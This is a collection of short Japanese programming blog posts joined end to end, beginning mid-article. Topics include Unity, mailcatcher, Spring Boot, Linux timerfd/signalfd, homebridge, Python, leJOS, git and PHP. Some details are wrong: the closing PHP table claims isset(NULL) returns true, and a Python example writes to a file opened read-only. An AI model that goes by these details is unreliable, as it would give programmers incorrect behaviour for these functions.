Projectview の Create から新規マテリアルを作成します。
![スクリーンショット 2017-03-07 4.37.58.png](https://qiita-image-store.s3.amazonaws.com/0/147930/9235ac5f-ec24-a631-6625-e8e242fe96ec.png "スクリーンショット 2017-03-07 4.37.58.png")

マテリアルの「Shader」を「Skybox/Cubemap」に変更します。
![スクリーンショット 2017-03-07 4.38.26.png](https://qiita-image-store.s3.amazonaws.com/0/147930/708bae7b-3399-e8b6-5719-f094948aa8c3.png "スクリーンショット 2017-03-07 4.38.26.png")

マテリアルのテクスチャ画像にcubemapを設定します。
![スクリーンショット 2017-03-07 4.38.54.png](https://qiita-image-store.s3.amazonaws.com/0/147930/e826e1e6-7ab7-f241-a576-5d1c3fa6f7d2.png "スクリーンショット 2017-03-07 4.38.54.png")

## Skyboxの反映
メニューバーの「Window」から「Lighting」ウィンドウを開き、Skyboxのマテリアルを設定します。

![スクリーンショット 2017-03-07 4.51.08.png](https://qiita-image-store.s3.amazonaws.com/0/147930/45e2245c-304c-afbd-e603-a0afdd11d55e.png "スクリーンショット 2017-03-07 4.51.08.png")

もしくは、Sceneviewにドラッグ＆ドロップ
![スクリーンショット 2017-03-07 4.39.35.png](https://qiita-image-store.s3.amazonaws.com/0/147930/1ea41348-eb00-f5f3-2f23-484bfa738362.png "スクリーンショット 2017-03-07 4.39.35.png")

# 完成！
![スクリーンショット 2017-03-07 4.40.28.png](https://qiita-image-store.s3.amazonaws.com/0/147930/1d4bf442-948d-27f9-e3e4-621b55db666c.png "スクリーンショット 2017-03-07 4.40.28.png")
mailcatcherをそれ単体でbuildして使う

メール送信をするアプリ開発時にすごく便利な[mailcatcher](https://mailcatcher.me/)。こいつ使う時に盛大にハマったのでメモ。ちょっと詳しい人なら当たり前なんだろうけど、初心者が解決するにはしんどかった。

何が問題だったかっていうと、ブラウザ経由で見ようとした時にcss, jsがよみこめていなかったり、リンクもうまく作動していなかった。単純に言うと、ビルドするっていうフェーズを飛ばしてただけ（のはず）。

## インストール手順

```
# ソースコードをクローン
git clone git@github.com:sj26/mailcatcher.git

# ディレクトリ入って
cd mailcatcher

# gemインストール
bundle install

# ビルド
rake package

# 立ち上げる
bundle exec rails ./bin/mailcatcher -f

```

この手順でいくとアクセス可能。初心者あるあるとしてはおそらくビルドし忘れることがあるかと。

## さいごに

こんなことでもうエラーにははまりたくないので、ソースコードを引っ張ってきた時には忘れずビルドしようと思います。
Spring-bootでwarファイルをTomcatにデプロイする

# 環境

- java8

- sts 3.7.1

- spring-boot 1.5.1

## その他前提
1. starter-sequrity
1. tyymeleaf
1. starter-web
1. starter-tomcat
をプロジェクトに組み込んでいる

デプロイ先は、AmazonLinuxのEC2、Tomcat等設定済み

```
                <dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-security</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-thymeleaf</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-web</artifactId>
		</dependency>
                <dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-tomcat</artifactId>
			<scope>provided</scope>
		</dependency>
```

# 手順

プロジェクトを右クリックし、Exportを選択する
![スクリーンショット 2017-03-11 17.07.38.png](https://qiita-image-store.s3.amazonaws.com/0/57455/57b71764-047f-f01e-a653-80c6ca2f7ccc.png)

Web > Warファイルを選択する
![スクリーンショット 2017-03-11 17.07.47.png](https://qiita-image-store.s3.amazonaws.com/0/57455/50d50998-4d33-5385-73b3-072c2f24a1ba.png)

- Web Projectに出力するプロジェクトを設定し

- Distinationに出力先ディレクトリとファイル名を指定する

- 同じファイルが存在している場合は、Ovewrite existing file

***このとき出力できないことがある***   

- warファイルがExportできない時 参照

![スクリーンショット 2017-03-11 17.08.04.png](https://qiita-image-store.s3.amazonaws.com/0/57455/4642fe7b-c107-03e8-6cba-fdeaaa86e75d.png)

- Tomcatの管理画面へ入る

```
http://ホスト名:8080/manager
```

![スクリーンショット 2017-03-11 17.08.30.png](https://qiita-image-store.s3.amazonaws.com/0/57455/cf0492ad-b73a-0a11-296a-6d6af883a732.png)

- warファイルを配備で、出力したwarファイルを選択し、配備を行う。

- 配備が完了すると、上記のリストに追加され、停止起動閲覧等が可能になる
![スクリーンショット 2017-03-11 17.08.37.png](https://qiita-image-store.s3.amazonaws.com/0/57455/2a421280-1442-a846-898f-3b6331312ae6.png)

-----
##　warファイルがExportできない時
![スクリーンショット 2017-03-11 17.10.55.png](https://qiita-image-store.s3.amazonaws.com/0/57455/dc2304c1-407a-5277-779e-d8285115d00c.png)
数理モデルにおける変数の和

# これなに
## 最適化の数理モデル作成時の変数の和の書き方
C# や Java において、文字列の連結で StringBuilder を使うべきなのと同様に、数理モデルの変数の加算でも、同様のテクニックがあります。

表にまとめます。

パッケージ|書き方|可否
|--:|--:|--:|
| - |sum|× |
|[Python-MIP](https://www.python-mip.com/)|xsum|○|
[PuLP](https://www.coin-or.org/PuLP/)|lpSum|○
PuLP|lpDot|○
[GUROBI](https://www.octobersky.jp/products/gurobi.html)|quicksum|○

xsumやquicksumで合計や内積を計算できます。

可否が"○"のものは線形オーダーですが、"×"のものは2乗のオーダーになります。

# 確認
PuLPで確認してみましょう。

```py3:python3
from pulp import LpVariable, value
for i in [1000, 2000, 5000]:
    v = [LpVariable('v%d'%i) for i in range(i)]
    print(i)
    %timeit lpSum(v)
    %timeit sum(v)
>>>
1000
1000 loops, best of 3: 1.44 ms per loop
1 loop, best of 3: 403 ms per loop
2000
100 loops, best of 3: 2.89 ms per loop
1 loop, best of 3: 1.58 s per loop
5000
100 loops, best of 3: 7.11 ms per loop
1 loop, best of 3: 10 s per loop
```

![image](https://qiita-image-store.s3.amazonaws.com/0/13955/06d83a89-b0ca-ecb1-15a6-7e19a3f1e3c9.png)

以上

---

### 参考
- グラフ描画

```py3:python3
import matplotlib.pyplot as plt
fig, ax1 = plt.subplots()
ax2 = ax1.twinx()
ax1.plot([0,1000,2000,5000], [0,1.44,2.89,7.11], label='lpSum')
ax2.plot([0,1000,2000,5000], [0,403,1580,10000], label='sum', color='red')
ax1.legend(loc='center left')
ax2.legend(loc='center right');
```
timerfdの使い方


`epoll`と合わせて使うと嬉しい系FDの一つ`timerfd`の使い方をちょっと纏めてみる

基本的な考え方は、これまではインターバルタイマなどで発生するシグナルを待ち構えていないとダメだったのが、FD経由でのIO多重化をしやすくなるという点だと思います

## 従来の処理

インターバルタイマを使用した待ち合わせを行う様な場合を想定します

```cpp:インターバルタイマでの周期処理
/**
 * initInterval - インターバルタイマ初期化処理
 */
timer_t initInterval (void)
{
	timer_t timer;
	struct itimerspec interval = {{1,0},{1,0}};
	timer_create (CLOCK_REALTIME, NULL, &timer);
	timer_settime (timer, 0, &interval, NULL);
	return timer;
}

/**
 * doIntervalTimer - インターバルタイマ処理
 */
void doIntervalTimer (void)
{
	while (!done) {
		pause (); // wait for intervaltimer
		doTimer ();
	}
	return ;
}
```

SIGALRMなどのハンドリングは割愛しますが、インターバルタイマによるシグナル発生→`pause`で受信待ち→シグナルによる割り込みでdoTimer起動というような流れになります。


## timerfd + epoll

ということで、メインのループ処理をこんな感じにします。

```cpp:timerfd+epollにしてみる
/**
 * initTimerFD - タイマFD初期化処理
 */
int initTimerFD (void)
{
	struct itimerspec interval = {{1,0},{1,0}};
	int timerFD = timerfd_create (CLOCK_REALTIME, 0);
	timerfd_settime (timerFD, 0, &interval, NULL);
	return timerFD;
}

/**
 *  EpollLoop - イベント待ちおよびイベント発生時の処理起動
 */
void EpollLoop (void)
{
	while (!done) {
		struct epoll_event event = {0};
		int evnum = epoll_wait (epollFD, &event, 1, -1);
		for (int i=0; i<evnum; ++i) {
			if (event.data.fd == timerFD) {
				doTimer ();
			}
			/* else if (event->data.fd == any_other_fd) { ... } */
		}
	}
	return ;
}
```

初期化処理として必要な手順(create→settime)に違いはないため、全体的にはループ処理の作りのところに差分が出る事になります。

`epoll_wait`により他のイベントも一つのスレッドで受信することができる、というメリットがあるのと、シグナルとの絡みでのアレコレを無視できるのも嬉しいところ。

interval.it_interval.tv_sec = 1 で1秒周期のインターバルタイマとしていますが、ここで doTimer() が1秒以上の重い処理を行った場合など、従来の処理では次のSIGALRMまでは`pause`し続けます。
※シグナルが来ないと動けない/doTimer内の処理でシグナルが発生した場合を考慮する必要がある

`signalfd`とすることで、発生済みのイベントは`epoll_wait`で回収することが出来ます。
※2周期(2秒)以上の遅延があっても、遅延回数が`read`で取得できるのも安心

## その他

`read`することで取得できるのはカウンタなので…

```cpp:timerfd_read
typedef uint64_t timerfd_t;
int timerfd_read (int tfd, timerfd_t *value) {
    return read (tfd, value, sizeof(* value));
}
```

こういうのがあってもいいかもなのだけど、`eventfd_read`はあるのになんでこっちは無いんだろう…


## 関連

[signalfdの使い方](http://qiita.com/ksworks/items/2e62b2b43b2bd6d06e90)
[eventfdの使い方](http://qiita.com/ksworks/items/2bbf931170a496cb61ee)
Raspberry Pi 3 にhomebridgeを導入してsiriから家電操作できるようにした際の覚書


Siriで電気のON/OFFをしたかったのでやってみた

# 使うもの(セットアップが終わっている前提)
- Raspberry Pi 3
- irkit

# 導入手順
まずは必要なライブラリをRaspberry Piへインストール

```homebridgeとpluginをインストール
$ sudo npm install -g --unsafe-perm homebridge
$ sudo npm install -g homebridge-irkit
```

```
※fatal error: dns_sd.h: そのようなファイルやディレクトリはありません) とエラーになる場合は下記を実行
$ sudo apt-get install libavahi-compat-libdnssd-dev
```

## configを設定
```
$ sudo vim /home/pi/.homebridge/config.json
```

```config.json
{
  "bridge": {
    "name": "Homebridge",
    "username": "B8:27:EB:F9:4D:D7",
    "port": 51826,
    "pin": "031-45-154"
  },
  "description": "homebridge",
  "accessories": [
    {
      "accessory": "IRKit",
      "name": "電気",
      "irkit_host": "iRKitxxxx.local",
      "on_form": {
        "format": "raw",
        "freq": 38,
        "data": [<<data>>]
      },
      "off_form": {
        "format": "raw",
        "freq": 38,
        "data": [<<data>>]
      }
    }
  ]
}
```

## システム起動時にサービスとして起動させる

raspberry pi が再起動しても自動で立ち上がるようにするため、サービスとして登録する

```
$ sudo vim /etc/systemd/system/homebridge.service
```

```homebridge.service
[Unit]
Description=run homebridge
After=syslog.target network-online.target

[Service]
Type=simple
User=pi
ExecStart=/usr/local/bin/homebridge
Restart=on-failure
RestartSec=10
KillMode=process

[Install]
WantedBy=multi-user.target
```

サービスとして登録する

```
$ sudo systemctl daemon-reload
$ sudo systemctl start homebridge
$ sudo systemctl status homebridge
```

## iOSの"ホーム"アプリへ登録

1. "ホーム"アプリを起動
2. "アクセサリを追加"を選択
3. "Homebridge"が表示されているはずなので選択
4. HomeKitコードを入力(手動で入力したほうがはやい)
 - config.jsonの"pin"の部分
5. siriに「電気つけて/消して」と言うと動作するハズ

## 参考にさせていただいた記事
- http://senyoltw.hatenablog.jp/entry/2015/12/07/052951
- http://qiita.com/FePlus/items/4b863de7af8fbdee4d61#configjsonについて
signalfdの使い方


`epoll`と合わせて使うと嬉しい系FDの一つ`signalfd`の使い方をちょっと纏めてみる

基本的な考え方は、これまでマルチスレッドでシグナル受信の為だけに`sigwait`で受信待ちだけしていたスレッドで、IO多重化するなどの使い方がやりやすいのではないかと思います

## 従来の処理

従来の、というよりは`epoll`/`signalfd`が無い非Linux環境だとこんな感じで処理するスレッドを設けます。

```cpp:従来のシグナル処理スレッド
/**
 *  SignalLoop - シグナルの受信待ち/受信後の処理を行う
 */
void SignalLoop (sigset_t *mask)
{
	while (!done) {
		int signum = 0;
		sigwait (mask, &signum);
		switch (signum) {
		case SIGINT:
		case SIGTERM:
			done = true;
			break;
		case SIGCHLD:
			WaitChild ();
			break;
		default:
			break;
		}
	}
	return ;
}
```

メインのスレッド関数からSignalLoopを起動してループして、`sigwait`で取得したシグナルを判断→処理を繰り返す様な感じです。

これくらいの数ならシンプルでわかりやすいとは思うのですがw


## signalfd + epoll

ということで、メインのループ処理をこんな感じにします。

```cpp:signalfd+epollにしてみる
/**
 *  MyOperation_t : コマンドID
 */
typedef enum {
	MYOP_ERROR = -1,
	MYOP_NONE = 0,	
	MYOP_QUIT,
	MYOP_WAITCHILD,
	/* snip */
} MyOperation_t;

/**
 *  AnalyseEvent - epoll_eventから任意のコマンドIDを導く
 */
MyOperation_t AnalyseEvent (struct epoll_event *event)
{
	if (event->data.fd == sigFD) {
		struct signalfd_siginfo info = {0};
		read (sigFD, &info, sizeof(info));

		switch (info.ssi_signo) {
		case SIGINT:
		case SIGTERM:
			return MYOP_QUIT;
		case SIGCHLD:
			return MYOP_WAITCHILD;
		default:
			break;
		}
	}
	else if (event->data.fd == cliFD) {
		/* snip */
	}
	/* else if (event->data.fd == any_other_fd) { ... } */
	return MYOP_NONE;
}

/**
 *  DispatchEvent - 指定されたコマンドIDによる処理分岐
 */
void DispatchEvent (MyOperation_t mycmd)
{
	switch (mycmd) {
	case MYOP_QUIT:
		done = true;
		break;
	case MYOP_WAITCHILD:
		WaitChild ();
		break;

	default:
		break;
	}
	return ;
}

/**
 *  EpollLoop - イベント待ちおよびイベント発生時の処理起動
 */
void EpollLoop (void)
{
	while (!done) {
		struct epoll_event ev = {0};
		int evnum = epoll_wait (epollFD, &ev, 1, -1);
		for (int i=0; i<evnum; ++i) {
			MyOperation_t mycmd = AnalyseEvent (&ev);
			DispatchEvent (mycmd);
		}
	}
	return ;
}
```

EpollLoopでは`epoll_wait`を行った結果をAnalyseEventに判断させているのですが、ここではまだ他のFDによる処理分岐の可能性を残すことが出来ています。

cliFDとして、コマンドラインインタフェースを(標準入力とかローカルドメインソケットとか) AnalyseEvent内の分岐可能性として一つの関数内で整理してみたり…

その後、DispatchEventで実際の処理を行うわけですが、これはSIGINT/TERMで終了シグナル処理を行ったり/CLIで"quit"と入力されたり、など幾つかの方法から同じ処理を行うことが出来ます。

コード量は増えますが、後々でメンテナンスなどをして行くにはこれくらいの方が楽な場合が多いと思ってます。


## signalfdの初期化

基本的にはsigprocmaskと合わせて生成するのが一番わかりやすい気がしています(maskの使い回しもできるw)

```cpp:signalfdの初期化
/**
 *  SignalFD_Init - プロセスマスクを設定してsignalfdを生成
 */
int SignalFD_Init (void)
{
	sigset_t mask;
	sigemptyset (&mask);
	sigaddset (&mask, SIGINT);
	sigaddset (&mask, SIGTERM);
	sigaddset (&mask, SIGCHLD);

	sigprocmask (SIG_BLOCK, &mask, NULL);
	return signalfd (-1, &mask, SFD_NONBLOCK|SFD_CLOEXEC);
}
```

この後、`signalfd`のマスクを設定したい場合なども、必ずプロセスマスクとの関係は気にする必要があるのですが…

その辺りは`signalfd`を使うかどうかに限らず、毎度悩まされるシグナル関連のアレコレになるかなと。


## その他

`signalfd`に対する操作としては、固定サイズでの`read`しかないので…

```c:signalfd_read
int signalfd_read (int sfd, struct signalfd_siginfo *info) {
	return read (sfd, info, sizeof(*info));
}
```

こんな感じのWrapperがあっても(`eventfd_read`とかはあるから)いいのかも、と思いつつ、これだけならなぁ…

## 関連

[timerfdの使い方](http://qiita.com/ksworks/items/9bf319636d67d6c04b90)
[eventfdの使い方](http://qiita.com/ksworks/items/2bbf931170a496cb61ee)
dictのkeyの存在確認してから処理する時にif文書きたくないんです

## 2017.3.13 update

- @shiracamus さん @tenmyo さん　にコメント頂いた処理を追加検証
- 結果が変わったので修正

## if文書くのやだ

こういうの

```python
if key not in test_dict:
    test_dict[key] = 0
test_dict[key] += 1
```

こう書きたい

```python
test_dict[key] = test_dict.get(key, 0) + count
```

## 速度はかってみる

遅かったらこわいものね

```python
# coding=utf-8
import random
import time
import collections

S = "abcdefghijklmnopqrstuvwxyz01234567890"
sum_map = dict()


def get_rand_key():
    return "".join([random.choice(S) for i in range(3)])


def test01(max=10000):
    count = 0
    test_dict = dict()
    while count <= max:
        count += 1
        key = get_rand_key()
        if key not in test_dict:
            test_dict[key] = 0
        test_dict[key] += count


def test02(max=10000):
    count = 0
    test_dict = dict()
    while count <= max:
        count += 1
        key = get_rand_key()
        test_dict[key] = test_dict.get(key, 0) + count


def test03(max=10000):
    count = 0
    test_dict = collections.defaultdict(int)
    while count <= max:
        count += 1
        key = get_rand_key()
        test_dict[key] += count


def test04(max=10000):
    count = 0
    test_dict = collections.Counter()
    while count <= max:
        count += 1
        key = get_rand_key()
        test_dict[key] += count


def check(method, num, loop_num):
    name = method.__name__
    start_ts = time.time()
    method(max=num)
    diff = time.time() - start_ts
    sum_map[name] = sum_map.get(name, 0) + diff
    print "[{}] {} {}sec".format(loop_num, name, diff)


for i in range(20):
    num = 1000000
    check(test01, num, i)
    check(test02, num, i)
    check(test03, num, i)
    check(test04, num, i)

for key in sorted(sum_map.keys()):
    print key, sum_map[key]
```


## ~~あんまり変わらない~~ `defaultdict` が早そう！

~~なんどか実行してみたけど、大きな差はあまり無さそう。
僕は短い方で書いて生きていこうと思います。~~

@shiracamus さんにコメント頂いた `defaultdict` での計測が早そうです。
試しに3回試してみても同じ結果となりました。

| `if` あり | `.get` | `defaultdict` | `Counter` |
|----|----|----|----|
| 50.5 | 52.6 | **49.3** | 55.4 |
| 53.0 | 53.8 | **50.2** | 56.6 |
| 53.5 | 53.7 | **49.9** | 54.7 |

今度 `defaultdict` 使っていくようにしよう！

## もやりポイント

何か特定状況下でどちらがめっちゃ早いとかありそう。
hitの割合によっても変わりそう。いろんなパターンありそう…

だれか知ってる人いらっしゃったら教えてください

 `Counter` はなぜ遅いんだろう。使い方違うのかしら。
【leJOS】JavaでEV3のモーターをリモートコントロールしよう

## はじめに
この記事はleJOSの開発環境が整っていることが前提にしています。
詳しくはこちらの記事を参考にして下さい。
>
[【leJOS】mindstorm-EV3をJavaでプログラミングしよう【環境構築前編】
](http://qiita.com/murotani/items/2790f1ef5afed3a5d13c)

>
[【leJOS】mindstorm-EV3をJavaでプログラミングしよう【環境構築後編】](http://qiita.com/murotani/items/0972e6f36676c61e3f57)

##概要

leJOSでは、PC側で作成したプログラムをEV3本体にデプロイして実行するという開発方法が一般的ですが、実はWiFi経由でプログラムをデプロイすることなくリモートコントロールすることが可能です。
ちなみにPythonからev3devをリモートコントロールする方法も前に解説しています。

>
[【ev3dev】RPyCプロトコルでPythonによる遠隔操作プログラムを作ろう](http://qiita.com/murotani/items/a48ea3bada15b57d4dfb)

今回はleJOSを使ってJavaでこれを実現します。


## サンプルプログラム

###モーターをリモートコントロール

![IMG_8638.JPG](https://qiita-image-store.s3.amazonaws.com/0/149019/88828dcc-aee2-81b9-98b3-a98132208512.jpeg)

LモーターをEV3本体のAポートに接続し、下記のプログラムをPC側で実行させて下さい。
デプロイする必要はありません。IPアドレスはそれぞれの環境に合わせて下さい。
ビープ音を鳴らしLモーターを180度回転させるプログラムです。

```java:RemoteEv3.java
import java.net.MalformedURLException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import lejos.hardware.Sound;
import lejos.remote.ev3.RMIRegulatedMotor;
import lejos.remote.ev3.RemoteEV3;

public class RemoteEv3 {

	public static void main(String[] args) {
		// TODO Auto-generated method stub
		RemoteEV3 ev3 = null;
		RMIRegulatedMotor m = null;
		
		try {
			//EV3に接続、引数にEV3のIPアドレス
			ev3 = new RemoteEV3("192.168.2.91");
		} catch (RemoteException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		} catch (MalformedURLException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		} catch (NotBoundException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
		
		//初期化
		ev3.setDefault();
		//モーターのインスタンス作成(ポートAにLargeモーターを接続する)
		m = ev3.createRegulatedMotor("A",'L');
		//ビープ音を鳴らす
		Sound.beep();
		//モーターを180度回転
		try {
			m.rotate(180);
		} catch (RemoteException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
	}

}

```

###解説
リモートコントロールにはRemoteEV3クラスを作ります。
引数にEV3のIPアドレスを渡してインスタンスを生成します。

```
ev3 = new RemoteEV3("192.168.2.91");
```
モーターにアクセスするにはcreateRegulatedMotorメソッドを利用します。
第一引数にString型で接続ポート、第二引数にchar型でモーターの種類('L'もしくは'M')を指定します。


```
m = ev3.createRegulatedMotor("A",'L');
```
Lモーター
![](http://www.afrel.co.jp/cms/wp-content/uploads/2013/04/45502_LargeMotor.jpg)
Mモーター
![](http://www.afrel.co.jp/cms/wp-content/uploads/2013/04/45503_MediumMotor.jpg)

##参考
>
[http://www.lejos.org/ev3/docs/lejos/remote/ev3/RMIEV3.html](http://www.lejos.org/ev3/docs/lejos/remote/ev3/RMIEV3.html)

>
[https://yoshio3.com/tag/lejos/](https://yoshio3.com/tag/lejos/)

##まとめ
EV3を簡単にリモートコントロール出来ることが分かりました。
JavaFXなどと組み合わせたらGUIツールを開発することもできそうですね。
Gitで任意のリポジトリコミットを別のリポジトリ以下にコミットごと移設する

ちょっとした事情で、`work`リポジトリ以下の全てのコミットを、`main`リポジトリ以下の`lib`というディレクトリを作成してコミットごと移行したくなったのでその方法のメモです。

1. `git format-patch`でコミットログをpatch形式で書き出す<br />
`git format-patch -o "任意のディレクトリ" "欲しいコミットのハッシュ"`
2. `git am`でpatchを任意のディレクトリに取り込む<br />
`git am -p2 --directory="配置したいディレクトリ" "1.でパッチ出力したディレクトリ/*"`

これでコミットログごと丸っと取り込みできます。
以上です。
Unity - 他のスクリプトを触る

# はじめに
今回はあるスクリプトから他のスクリプトの関数や変数にアクセスする方法を紹介します。
私自身これには非常に紆余曲折苦労したことがあったため、記事にまとめることにしました。
#方針
方法はたくさん存在するのですが、私が一番楽だと思った方法を紹介します。
それは *GetComponent* を活用することです！！！
GetComponentは最強なので知っておいて損はないかと思います。


方針としては、

1. アクセスしたいスクリプトを何らかのオブジェクトにつけておく
2. スクリプトから「オブジェクト　→　スクリプト　→　関数/変数」の順にアクセスしていく
 
の2ステップです。
それでは、実際の流れを見ていきましょう。

#流れ
## 1. オブジェクトを作成（アクセスされる側）
アクセスしたいスクリプトをつけるためのGameObjectを作成します。
これは空のオブジェクトでも、実際に使用するオブジェクトでもなんでも可です。
今回は「Reseaver」と名付けます。ついでに適当に変数と関数を持たせておきましょう。
変数と関数は全てpublicで作成してください。

<img width="892" alt="スクリーンショット (75).png" src="https://qiita-image-store.s3.amazonaws.com/0/126820/559c04e2-878f-4110-665f-bfd9b26b9ff7.png">

``` C#:Reseaver.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;

public class Reseaver : MonoBehaviour {

	public int number = 1000;
	public void ReturnAccess(){
		Debug.Log ("アクセス成功！！");
	}
}

```

## 2. 1.のオブジェクトにアクセスする（アクセスする側）

1.と同様にしてアクセスする側のオブジェクトも作成します。
<img width="896" alt="スクリーンショット (76).png" src="https://qiita-image-store.s3.amazonaws.com/0/126820/b632cc26-cb49-df4d-d205-dec089aa1962.png">

ここからスクリプトを書きます。
まずは1.で作成したオブジェクトを受け取るための器を作りましょう。

``` C#:Access.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;

public class Access : MonoBehaviour {

	public GameObject gameobject;
}

```

public で宣言することでUnity側で操作することが可能になります。
続いて、Unity側から1.で作成したオブジェクトをgameobjectにアタッチしてください。
<img width="893" alt="スクリーンショット (77).png" src="https://qiita-image-store.s3.amazonaws.com/0/126820/6bc5942a-119e-7535-bf91-1b5ca3a1c26a.png">

## 3.GetComponentを用いてアクセスしてみる

Accessスクリプトを以下のように書き換えます。

```C#:Access.cs

using System.Collections;
using System.Collections.Generic;
using UnityEngine;

public class Access : MonoBehaviour {

	public GameObject gameobject;

	void Start(){

		//Reseaver 内の number という変数を取得する
		int num = gameobject.GetComponent<Reseaver> ().number;
		Debug.Log (num);

		//Reseaver 内の　ReturnAccess という関数を使用する
		gameobject.GetComponent<Reseaver>().ReturnAccess();
	}
}

```

これでアクセスができたはずです。実行画面を見てみましょう。

<img width="893" alt="スクリーンショット (78).png" src="https://qiita-image-store.s3.amazonaws.com/0/126820/cc259fb5-ddde-ac0e-55dd-96693ec47963.png">

コンソール画面に正しく出力されましたね。アクセス成功です。


#最後に
今回はGetComponetを用いることで
1. gameobjectにアクセス
2. gameobjectのコンポーネントの一つであるスクリプトにアクセス
3. スクリプト内の変数/関数にアクセス
の順でアクセスしました。


この方法を選んだ理由は以下の通りです

- とっつきやすい
- 二つの事象に対し一つの方法で対処できる
- 応用がききやすい

めちゃくちゃ使いやすい上に便利なので、是非使ってみてください。
GAE/Goでアップロードした画像を取得して表示する #golang

画像つかっていろいろやってみたいと思ったけど、
その辺いじったことないので、チュートリアル的にまずはじめに作ってみた。

# 結果

```go
package main

import (
	"image/jpeg"
	"net/http"

	"google.golang.org/appengine"
	"google.golang.org/appengine/blobstore"
)

func init() {
	http.HandleFunc("/test", Test)
	http.ListenAndServe(":8080", nil)
}

func Test(w http.ResponseWriter, r *http.Request) {
	c := appengine.NewContext(r)

	key := r.FormValue("key")
	blobKey := appengine.BlobKey(key)
	img, err := jpeg.Decode(blobstore.NewReader(c, blobKey))
	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}

	w.Header().Set("Content-type", "image/jpeg")
	w.WriteHeader(http.StatusOK)
	jpeg.Encode(w, img, nil)
}
```

io.Readerとかその辺使ったコードを書き慣れてないので勉強になった。
ioutil.ReadAllはメモリ効率が悪いのでio.Readerを使っていこうね、と以下のスライドで学んだ。

http://slides.com/jun06t/deck#/

もともと類似画像のチェックをやってみたいと思って始めたので、
次は Average Hash ってやつを試してみようと思う。
Pythonを必要最低限の知識で使っていたが、参考書を買って改めて勉強して新しく知ったことや便利だと思ったことをまとめる

# 背景
- 最初にPythonを触ったのは、かれこれ4年くらい前でした。(ブランクもありPython歴は2年弱くらい)
- 当時は業務で必要に迫られ体系的に学ぶ時間もなく、引継ぎされたコードを解読するという勉強方法でした。
- これまで必要最低限の知識でやり過ごしてきましたが、同僚がPythonを勉強始めるということで、私もこれをきっかけに勉強しようと思いました。
- 私の無知さを晒しますが、私のようななんちゃってPython始めましたという人のお役に立てればと思いまとめます。

# 利用用途
- データ加工
- データ分析

# まとめた内容（随時更新）
- 順番などばらばらとなります。

## みんなが1行目に書く例のあれ
- 以下のどちらかをよく見かける。（私はおまじないと教わりました。ｗ）
    - ` #!/usr/bin/python `
    - ` #!/usr/bin/env python `
- これはPythonを実行するときスクリプトの前にpythonとつけなくても実行できるようにするためのコード。
- ただしスクリプトに `chmod 744` で実行権限を付与する必要がある。（所有者はすべての権限を付与し、所属グループ、その他には閲覧権限のみを付与する）
- 意図したPythonを呼び出せているかターミナル上で `/usr/bin/python` と `/usr/bin/env python` を実行してみて確認してみるといいと思う。

## sys.argv[0]
- `sys.argv[0]`には自身のスクリプト名が入っている。
- 結果例を以下にて。

```py:test.py
import sys
print(sys.argv[0])
print(sys.argv[1])
```
```bash:terminal
$ python test.py 1
test.py
1

$ python ./test.py 1
./test.py
1
```

- ~~スクリプト名に情報を持たせておけば、splitなりで利用できそう。~~
- ~~無駄に引数で情報を渡す必要はなさそう~~

## 可変長引数
- タプル型と辞書型の２種類で可変長な引数を渡せる

### タプル型
```py
>>> def taple_func(*args):
...     for i in args:
...         print(i)
... 
>>> args=(1,2,3,4)
>>> taple_func(*args)
1
2
3
4
>>> taple_func(1,2,3,4)
1
2
3
4
```

### 辞書型
```py
>>> def dict_func(**kwds):
...     for i in kwds:
...         print(i)
... 
>>> kwds={'a':1, 'b':2, 'c':3, 'd':4}
>>> dict_func(**kwds)
b
d
a
c
>>> dict_func(a=1, b=2, c=3, d=4)
b
d
a
c
```

## デコレータ
- 関数を修飾という仕組み。

```py
>>> def decorator_a(seq_id):
...     def _decorator_a(func):
...         import functools
...         @functools.wraps(func)
...         def __decorator_a(*args,**kwargs):
...             res = '<' + seq_id + '>'
...             res = res + func(*args,**kwargs)
...             res = res + '<' + seq_id + '>'
...             return res
...         return __decorator_a
...     return _decorator_a
... 
>>> @decorator_a('A')
... @decorator_a('B')
... def test():
...     return 'decorator test'
... 
>>> print(test())
<A><B>decorator test<B><A>
```
- 仕組みは理解できたが活用場面がいまいちわからない


## assert
### 記述法
```
assert 条件式, メッセージ
```
※メッセージは省略可能

### 説明
- 条件式が成立しない場合プログラムを強制終了する。
- プログラムのテストやデバッグ時に便利。

## raise
### 記述法
```
raise エラークラス(メッセージ)
```

### 説明
- エラーを故意に発生させる。
- プログラムのテストやデバッグ時に便利。

## with
### 記述法
```
with open('test,tsv', 'r') as f:
    print(f.write('test'))
```

### 説明
- withステートメントを抜けると自動的に`f.colse()`をしてくれる。
- コードの可読性が上がる。

# 参考
- http://zashikiro.hateblo.jp/entry/2012/09/22/125953
- http://qiita.com/_rdtr/items/d3bc1a8d4b7eb375c368
- http://www.yoheim.net/blog.php?q=20160607
- http://qiita.com/mtb_beta/items/d257519b018b8cd0cc2e
is_null() empty() isset()の動作

よく忘れてしまうのでPHPのis_null()、empty()、isset()の動作についてのメモ

| 値           |  is_null() | empty()   | isset() | == NULL |
|:-------------|:-----------|:----------|:---------|:---------|
| 0            | false      | **true**  | **true** | **true** |
| 0.0          | false      | **true**  | **true** |  **true** |
| "0"          | false      | **true**  | **true** | false |
| ""          | false      | **true**  | **true** | **true** |
| NULL         | **true**   | **true**  | **true** | **true** |
| array()      | false      | **true**  | **true** | **true** |
| 未定義の変数  | **true**   | **true**  | false    | **true** |